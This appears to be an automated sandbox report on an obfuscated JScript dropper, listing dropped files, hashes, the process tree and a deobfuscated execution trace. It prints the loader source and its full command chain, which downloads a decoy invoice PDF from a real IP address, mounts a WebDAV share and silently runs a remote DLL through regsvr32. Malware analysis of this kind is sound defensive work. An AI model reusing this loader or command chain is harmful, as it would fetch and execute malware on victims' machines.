Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18522), with CRLF line terminators
Entropy (8bit):	4.920734728784802
TrID:
File name:	2449715899306403241.js
File size:	22'053 bytes
MD5:	d0e9ff14f237246c9e206d92b18b4636
SHA1:	ce94fa6f80e518fc5a62f927aef2051200b7336e
SHA256:	d0e7968e632a031dc09be158ef7dabe6dbaa83071c080aa11a68f3b49f294fc0
SHA512:	c15ea3c218a2dcb605ab732a4d194cab1ae65cd9fd67221daa51fab004d6c468476e5aff9b6102744dd741db7204fc262d2f6f4b6e9db3a80c7ab764ddabdbae
SSDEEP:	384:d/zabVZHAoSri8OcA+8O3l7+MS4yxTSkfQ0Qgo7rmJFpa56hWv:dhOPo7rmJ/a56hWv
TLSH:	3AA264E450C4C74F9EEDE365E1E724C82D8E535846E0429F20ADACACA74563DDAE78F0
File Content Preview:	function jsrrz(){koejp=[1031,3079,5127,4103,2055,3072];var mlmqim=this[miqdtp+grfrgu+hevdxzzqh+avdowefcl+ucnbhojp+hbiynu+hcqikujw+navamwkt](this[jggnxr+bhiyio+tptkmflw+hevdxzzqh+auygtpj+miqdtp+navamwkt][ywwqr+hevdxzzqh+ucnbhojp+grfrgu+navamwkt+ucnbhojp+bn

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	01:25:24
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js"
Imagebase:	0x7ff76ebf0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:25:25
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Imagebase:	0x7ff6f8a90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:25:25
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:25:25
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:25:30
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:25:30
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f8a90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:25:30
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff708430000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:25:31
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:25:31
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:25:31
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1752,i,17528422717243787748,968199973491756617,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function jsrrz() {	jsrrz() ➔ undefined
1	koejp = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var mlmqim = this[miqdtp + grfrgu + hevdxzzqh + avdowefcl + ucnbhojp + hbiynu + hcqikujw + navamwkt] ( this[jggnxr + bhiyio + tptkmflw + hevdxzzqh + auygtpj + miqdtp + navamwkt][ywwqr + hevdxzzqh + ucnbhojp + grfrgu + navamwkt + ucnbhojp + bnnnnmgrz + vribgacbb + yhrlgdrk + ucnbhojp + tptkmflw + navamwkt] ( jggnxr + bhiyio + tptkmflw + hevdxzzqh + auygtpj + miqdtp + navamwkt + jxcqtjd + bhiyio + hpzmk + ucnbhojp + ebygdygw + ebygdygw ) [mfvcyf + ucnbhojp + tspjfzkxw + mfvcyf + ucnbhojp + grfrgu + kkoagwa] ( yxpwbox + fhefopz + xrhehrwju + uwotgl + oxjflzrxp + ywwqr + boaqtklmz + mfvcyf + mfvcyf + xrhehrwju + vwdfxh + pnalsbz + oxjflzrxp + boaqtklmz + bhiyio + xrhehrwju + mfvcyf + kjzssng + ywwqr + ouwsn + hcqikujw + navamwkt + hevdxzzqh + ouwsn + ebygdygw + pbflva + yfoubtoho + grfrgu + hcqikujw + ucnbhojp + ebygdygw + kjzssng + hbiynu + hcqikujw + navamwkt + ucnbhojp + hevdxzzqh + hcqikujw + grfrgu + navamwkt + auygtpj + ouwsn + hcqikujw + grfrgu + ebygdygw + kjzssng + lvjqsop + ouwsn + tptkmflw + grfrgu + ebygdygw + ucnbhojp ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( wsixoq = 0 ; wsixoq < koejp[ebygdygw + ucnbhojp + hcqikujw + tspjfzkxw + navamwkt + hpzmk] ; ++ wsixoq )
4	{
5	if ( mlmqim == koejp[wsixoq] )
6	{
7	mlmqim = true;
8	break ;
9	}
10	}
11	if ( mlmqim !== true )
12	this[jggnxr + bhiyio + tptkmflw + hevdxzzqh + auygtpj + miqdtp + navamwkt][hneuodhld + fyuetilaj + auygtpj + navamwkt] ( );
13	this[jggnxr + bhiyio + tptkmflw + hevdxzzqh + auygtpj + miqdtp + navamwkt][ywwqr + hevdxzzqh + ucnbhojp + grfrgu + navamwkt + ucnbhojp + bnnnnmgrz + vribgacbb + yhrlgdrk + ucnbhojp + tptkmflw + navamwkt] ( jggnxr + bhiyio + tptkmflw + hevdxzzqh + auygtpj + miqdtp + navamwkt + jxcqtjd + bhiyio + hpzmk + ucnbhojp + ebygdygw + ebygdygw ) [hevdxzzqh + fyuetilaj + hcqikujw] ( tptkmflw + dvpuhrq + kkoagwa + pbflva + qbhzjcg + tptkmflw + pbflva + miqdtp + ouwsn + vvaelrw + ucnbhojp + hevdxzzqh + avdowefcl + hpzmk + ucnbhojp + ebygdygw + ebygdygw + jxcqtjd + ucnbhojp + yjzebigm + ucnbhojp + pbflva + ojxmc + ywwqr + ouwsn + dvpuhrq + dvpuhrq + grfrgu + hcqikujw + kkoagwa + pbflva + dyxsj + hbiynu + hcqikujw + dokhyebqo + ouwsn + jrhtmjq + ucnbhojp + ojxmc + jggnxr + ucnbhojp + vribgacbb + mfvcyf + ucnbhojp + vzydiyv + fyuetilaj + ucnbhojp + avdowefcl + navamwkt + pbflva + ojxmc + bnnnnmgrz + fyuetilaj + navamwkt + rjmbfs + auygtpj + ebygdygw + ucnbhojp + pbflva + mlqxvqd + navamwkt + ucnbhojp + dvpuhrq + miqdtp + mlqxvqd + kjzssng + auygtpj + hcqikujw + dokhyebqo + ouwsn + auygtpj + tptkmflw + ucnbhojp + jxcqtjd + miqdtp + kkoagwa + nuwhubyr + pbflva + hpzmk + navamwkt + navamwkt + miqdtp + lweznxddd + qbhzjcg + qbhzjcg + kmpbf + mobvaqmsf + xpztbjyh + jxcqtjd + kmpbf + ycbuvjsae + xpztbjyh + jxcqtjd + kmpbf + jxcqtjd + refsg + hjmjnh + khohdsqk + qbhzjcg + auygtpj + hcqikujw + dokhyebqo + ouwsn + auygtpj + tptkmflw + ucnbhojp + jxcqtjd + miqdtp + hpzmk + miqdtp + dyxsj + hgeynph + hgeynph + avdowefcl + navamwkt + grfrgu + hevdxzzqh + navamwkt + pbflva + mlqxvqd + navamwkt + ucnbhojp + dvpuhrq + miqdtp + mlqxvqd + kjzssng + auygtpj + hcqikujw + dokhyebqo + ouwsn + auygtpj + tptkmflw + ucnbhojp + jxcqtjd + miqdtp + kkoagwa + nuwhubyr + hgeynph + hgeynph + tptkmflw + dvpuhrq + kkoagwa + pbflva + qbhzjcg + tptkmflw + pbflva + hcqikujw + ucnbhojp + navamwkt + pbflva + fyuetilaj + avdowefcl + ucnbhojp + pbflva + kjzssng + kjzssng + kmpbf + mobvaqmsf + xpztbjyh + jxcqtjd + kmpbf + ycbuvjsae + xpztbjyh + jxcqtjd + kmpbf + jxcqtjd + refsg + hjmjnh + khohdsqk + ltfih + drjmsj + drjmsj + drjmsj + drjmsj + kjzssng + kkoagwa + grfrgu + dokhyebqo + vvaelrw + vvaelrw + vvaelrw + hevdxzzqh + ouwsn + ouwsn + navamwkt + kjzssng + hgeynph + hgeynph + tptkmflw + dvpuhrq + kkoagwa + pbflva + qbhzjcg + tptkmflw + pbflva + hevdxzzqh + ucnbhojp + tspjfzkxw + avdowefcl + dokhyebqo + hevdxzzqh + xpztbjyh + refsg + pbflva + qbhzjcg + avdowefcl + pbflva + kjzssng + kjzssng + kmpbf + mobvaqmsf + xpztbjyh + jxcqtjd + kmpbf + ycbuvjsae + xpztbjyh + jxcqtjd + kmpbf + jxcqtjd + refsg + hjmjnh + khohdsqk + ltfih + drjmsj + drjmsj + drjmsj + drjmsj + kjzssng + kkoagwa + grfrgu + dokhyebqo + vvaelrw + vvaelrw + vvaelrw + hevdxzzqh + ouwsn + ouwsn + navamwkt + kjzssng + refsg + kmpbf + uffrkz + drjmsj + kmpbf + ksthgk + kmpbf + refsg + kmpbf + refsg + uffrkz + drjmsj + drjmsj + ycbuvjsae + jxcqtjd + kkoagwa + ebygdygw + ebygdygw, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll",0,false) ➔ 0
14	}
15	vwdfxh = "N";
16	hpzmk = "I";
17	hpzmk = "j";
18	hpzmk = "A";
19	hpzmk = "q";
20	hpzmk = "I";
21	hpzmk = "F";
22	hpzmk = "t";
23	hpzmk = "t";
24	hpzmk = "y";
25	hpzmk = "k";
26	hpzmk = "b";
27	hpzmk = "z";
28	hpzmk = "j";
29	hpzmk = "t";
30	hpzmk = "x";
31	hpzmk = "z";
32	hpzmk = "N";
33	hpzmk = "Q";
34	hpzmk = "I";
35	hpzmk = "x";
36	hpzmk = "H";
37	hpzmk = "h";
38	hpzmk = "e";
39	hpzmk = "o";
40	hpzmk = "x";
41	hpzmk = "t";
42	hpzmk = "O";
43	hpzmk = "M";
44	hpzmk = "h";
45	qbhzjcg = "C";
46	qbhzjcg = "x";
47	qbhzjcg = "U";
48	qbhzjcg = "v";
49	qbhzjcg = "j";
50	qbhzjcg = "w";
51	qbhzjcg = "d";
52	qbhzjcg = "F";
53	qbhzjcg = "Y";
54	qbhzjcg = "W";
55	qbhzjcg = "z";
56	qbhzjcg = "P";
57	qbhzjcg = "f";
58	qbhzjcg = "a";
59	qbhzjcg = "i";
60	qbhzjcg = "D";
61	qbhzjcg = "F";
62	qbhzjcg = "/";
63	rjmbfs = "t";
64	rjmbfs = "r";
65	rjmbfs = "U";
66	rjmbfs = "t";
67	rjmbfs = "a";
68	rjmbfs = "j";
69	rjmbfs = "T";
70	rjmbfs = "s";
71	rjmbfs = "f";
72	rjmbfs = "V";
73	rjmbfs = "V";
74	rjmbfs = "M";
75	rjmbfs = "j";
76	rjmbfs = "u";
77	rjmbfs = "n";
78	rjmbfs = "S";
79	rjmbfs = "F";
80	rjmbfs = "P";
81	rjmbfs = "K";
82	rjmbfs = "n";
83	rjmbfs = "k";
84	rjmbfs = "L";
85	rjmbfs = "F";
86	rjmbfs = "r";
87	rjmbfs = "g";
88	rjmbfs = "N";
89	rjmbfs = "x";
90	rjmbfs = "m";
91	rjmbfs = "z";
92	rjmbfs = "X";
93	rjmbfs = "i";
94	rjmbfs = "E";
95	rjmbfs = "p";
96	rjmbfs = "q";
97	rjmbfs = "F";
98	rjmbfs = "b";
99	rjmbfs = "b";
100	rjmbfs = "k";
101	rjmbfs = "s";
102	rjmbfs = "B";
103	rjmbfs = "Y";
104	rjmbfs = "V";
105	rjmbfs = "F";
106	bhiyio = "Q";
107	bhiyio = "w";
108	bhiyio = "k";
109	bhiyio = "d";
110	bhiyio = "c";
111	bhiyio = "N";
112	bhiyio = "J";
113	bhiyio = "o";
114	bhiyio = "e";
115	bhiyio = "g";
116	bhiyio = "x";
117	bhiyio = "P";
118	bhiyio = "S";
119	bhiyio = "m";
120	bhiyio = "c";
121	bhiyio = "U";
122	bhiyio = "Y";
123	bhiyio = "W";
124	bhiyio = "H";
125	bhiyio = "S";
126	dvpuhrq = "j";
127	dvpuhrq = "X";
128	dvpuhrq = "C";
129	dvpuhrq = "F";
130	dvpuhrq = "g";
131	dvpuhrq = "N";
132	dvpuhrq = "C";
133	dvpuhrq = "g";
134	dvpuhrq = "p";
135	dvpuhrq = "W";
136	dvpuhrq = "v";
137	dvpuhrq = "n";
138	dvpuhrq = "v";
139	dvpuhrq = "y";
140	dvpuhrq = "O";
141	dvpuhrq = "T";
142	dvpuhrq = "V";
143	dvpuhrq = "g";
144	dvpuhrq = "b";
145	dvpuhrq = "R";
146	dvpuhrq = "s";
147	dvpuhrq = "B";
148	dvpuhrq = "w";
149	dvpuhrq = "j";
150	dvpuhrq = "z";
151	dvpuhrq = "J";
152	dvpuhrq = "i";
153	dvpuhrq = "I";
154	dvpuhrq = "j";
155	dvpuhrq = "I";
156	dvpuhrq = "b";
157	dvpuhrq = "D";
158	dvpuhrq = "M";
159	dvpuhrq = "q";
160	dvpuhrq = "n";
161	dvpuhrq = "j";
162	dvpuhrq = "H";
163	dvpuhrq = "C";
164	dvpuhrq = "m";
165	yfoubtoho = "H";
166	yfoubtoho = "U";
167	yfoubtoho = "S";
168	yfoubtoho = "Z";
169	yfoubtoho = "P";
170	yfoubtoho = "h";
171	yfoubtoho = "U";
172	yfoubtoho = "y";
173	yfoubtoho = "S";
174	yfoubtoho = "L";
175	yfoubtoho = "s";
176	yfoubtoho = "U";
177	yfoubtoho = "G";
178	yfoubtoho = "d";
179	yfoubtoho = "P";
180	yfoubtoho = "b";
181	yfoubtoho = "H";
182	yfoubtoho = "P";
183	fhefopz = "q";
184	fhefopz = "P";
185	fhefopz = "Y";
186	fhefopz = "z";
187	fhefopz = "u";
188	fhefopz = "i";
189	fhefopz = "i";
190	fhefopz = "N";
191	fhefopz = "d";
192	fhefopz = "P";
193	fhefopz = "I";
194	fhefopz = "t";
195	fhefopz = "o";
196	fhefopz = "l";
197	fhefopz = "a";
198	fhefopz = "K";
199	lweznxddd = "O";
200	lweznxddd = "F";
201	lweznxddd = "L";
202	lweznxddd = "t";
203	lweznxddd = "V";
204	lweznxddd = "o";
205	lweznxddd = "R";
206	lweznxddd = "v";
207	lweznxddd = "c";
208	lweznxddd = "q";
209	lweznxddd = "a";
210	lweznxddd = "D";
211	lweznxddd = "K";
212	lweznxddd = "F";
213	lweznxddd = "f";
214	lweznxddd = "Q";
215	lweznxddd = "y";
216	lweznxddd = "G";
217	lweznxddd = "J";
218	lweznxddd = "b";
219	lweznxddd = ":";
220	mfvcyf = "B";
221	mfvcyf = "E";
222	mfvcyf = "f";
223	mfvcyf = "p";
224	mfvcyf = "v";
225	mfvcyf = "m";
226	mfvcyf = "W";
227	mfvcyf = "Q";
228	mfvcyf = "W";
229	mfvcyf = "i";
230	mfvcyf = "h";
231	mfvcyf = "M";
232	mfvcyf = "f";
233	mfvcyf = "m";
234	mfvcyf = "s";
235	mfvcyf = "q";
236	mfvcyf = "o";
237	mfvcyf = "k";
238	mfvcyf = "a";
239	mfvcyf = "Q";
240	mfvcyf = "R";
241	hjmjnh = "u";
242	hjmjnh = "n";
243	hjmjnh = "s";
244	hjmjnh = "l";
245	hjmjnh = "B";
246	hjmjnh = "Z";
247	hjmjnh = "r";
248	hjmjnh = "k";
249	hjmjnh = "X";
250	hjmjnh = "u";
251	hjmjnh = "t";
252	hjmjnh = "g";
253	hjmjnh = "y";
254	hjmjnh = "E";
255	hjmjnh = "c";
256	hjmjnh = "A";
257	hjmjnh = "o";
258	hjmjnh = "D";
259	hjmjnh = "S";
260	hjmjnh = "p";
261	hjmjnh = "q";
262	hjmjnh = "e";
263	hjmjnh = "m";
264	hjmjnh = "J";
265	hjmjnh = "j";
266	hjmjnh = "t";
267	hjmjnh = "g";
268	hjmjnh = "W";
269	hjmjnh = "I";
270	hjmjnh = "P";
271	hjmjnh = "i";
272	hjmjnh = "f";
273	hjmjnh = "Z";
274	hjmjnh = "x";
275	hjmjnh = "m";
276	hjmjnh = "L";
277	hjmjnh = "g";
278	hjmjnh = "W";
279	hjmjnh = "0";
280	avdowefcl = "k";
281	avdowefcl = "m";
282	avdowefcl = "F";
283	avdowefcl = "N";
284	avdowefcl = "y";
285	avdowefcl = "a";
286	avdowefcl = "W";
287	avdowefcl = "Y";
288	avdowefcl = "y";
289	avdowefcl = "j";
290	avdowefcl = "e";
291	avdowefcl = "f";
292	avdowefcl = "m";
293	avdowefcl = "i";
294	avdowefcl = "I";
295	avdowefcl = "M";
296	avdowefcl = "j";
297	avdowefcl = "d";
298	avdowefcl = "S";
299	avdowefcl = "v";
300	avdowefcl = "m";
301	avdowefcl = "S";
302	avdowefcl = "B";
303	avdowefcl = "y";
304	avdowefcl = "w";
305	avdowefcl = "X";
306	avdowefcl = "i";
307	avdowefcl = "m";
308	avdowefcl = "J";
309	avdowefcl = "i";
310	avdowefcl = "Q";
311	avdowefcl = "r";
312	avdowefcl = "r";
313	avdowefcl = "p";
314	avdowefcl = "r";
315	avdowefcl = "U";
316	avdowefcl = "I";
317	avdowefcl = "h";
318	avdowefcl = "E";
319	avdowefcl = "W";
320	avdowefcl = "H";
321	avdowefcl = "s";
322	oxjflzrxp = "L";
323	oxjflzrxp = "O";
324	oxjflzrxp = "A";
325	oxjflzrxp = "j";
326	oxjflzrxp = "u";
327	oxjflzrxp = "o";
328	oxjflzrxp = "h";
329	oxjflzrxp = "g";
330	oxjflzrxp = "Z";
331	oxjflzrxp = "T";
332	oxjflzrxp = "R";
333	oxjflzrxp = "y";
334	oxjflzrxp = "H";
335	oxjflzrxp = "j";
336	oxjflzrxp = "C";
337	oxjflzrxp = "E";
338	oxjflzrxp = "z";
339	oxjflzrxp = "J";
340	oxjflzrxp = "A";
341	oxjflzrxp = "G";
342	oxjflzrxp = "o";
343	oxjflzrxp = "z";
344	oxjflzrxp = "d";
345	oxjflzrxp = "c";
346	oxjflzrxp = "n";
347	oxjflzrxp = "w";
348	oxjflzrxp = "Q";
349	oxjflzrxp = "V";
350	oxjflzrxp = "i";
351	oxjflzrxp = "w";
352	oxjflzrxp = "Q";
353	oxjflzrxp = "G";
354	oxjflzrxp = "_";
355	hbiynu = "q";
356	hbiynu = "t";
357	hbiynu = "y";
358	hbiynu = "z";
359	hbiynu = "Y";
360	hbiynu = "Y";
361	hbiynu = "e";
362	hbiynu = "W";
363	hbiynu = "x";
364	hbiynu = "U";
365	hbiynu = "Y";
366	hbiynu = "Q";
367	hbiynu = "o";
368	hbiynu = "Q";
369	hbiynu = "N";
370	hbiynu = "v";
371	hbiynu = "V";
372	hbiynu = "S";
373	hbiynu = "l";
374	hbiynu = "h";
375	hbiynu = "S";
376	hbiynu = "v";
377	hbiynu = "A";
378	hbiynu = "Y";
379	hbiynu = "q";
380	hbiynu = "Z";
381	hbiynu = "U";
382	hbiynu = "M";
383	hbiynu = "J";
384	hbiynu = "Y";
385	hbiynu = "m";
386	hbiynu = "W";
387	hbiynu = "s";
388	hbiynu = "f";
389	hbiynu = "h";
390	hbiynu = "D";
391	hbiynu = "j";
392	hbiynu = "x";
393	hbiynu = "Q";
394	hbiynu = "h";
395	hbiynu = "c";
396	hbiynu = "y";
397	hbiynu = "I";
398	hevdxzzqh = "d";
399	hevdxzzqh = "b";
400	hevdxzzqh = "L";
401	hevdxzzqh = "z";
402	hevdxzzqh = "B";
403	hevdxzzqh = "z";
